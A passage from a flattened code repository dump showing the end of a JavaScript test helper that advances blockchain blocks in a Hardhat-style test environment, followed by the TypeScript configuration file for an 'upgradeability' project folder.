const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /upgradeability/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2017", 4 | "module": "commonjs", 5 | "declaration": true, 6 | "declarationMap": true, 7 | "sourceMap": true, 8 | "outDir": "./dist", 9 | "strict": true, 10 | "rootDirs": ["./src", "./scripts", "./test"], 11 | "esModuleInterop": true 12 | }, 13 | "exclude": ["dist", "node_modules"], 14 | "include": ["./test", "./src", "./scripts"], 15 | "files": ["./hardhat.config.ts"] 16 | } --------------------------------------------------------------------------------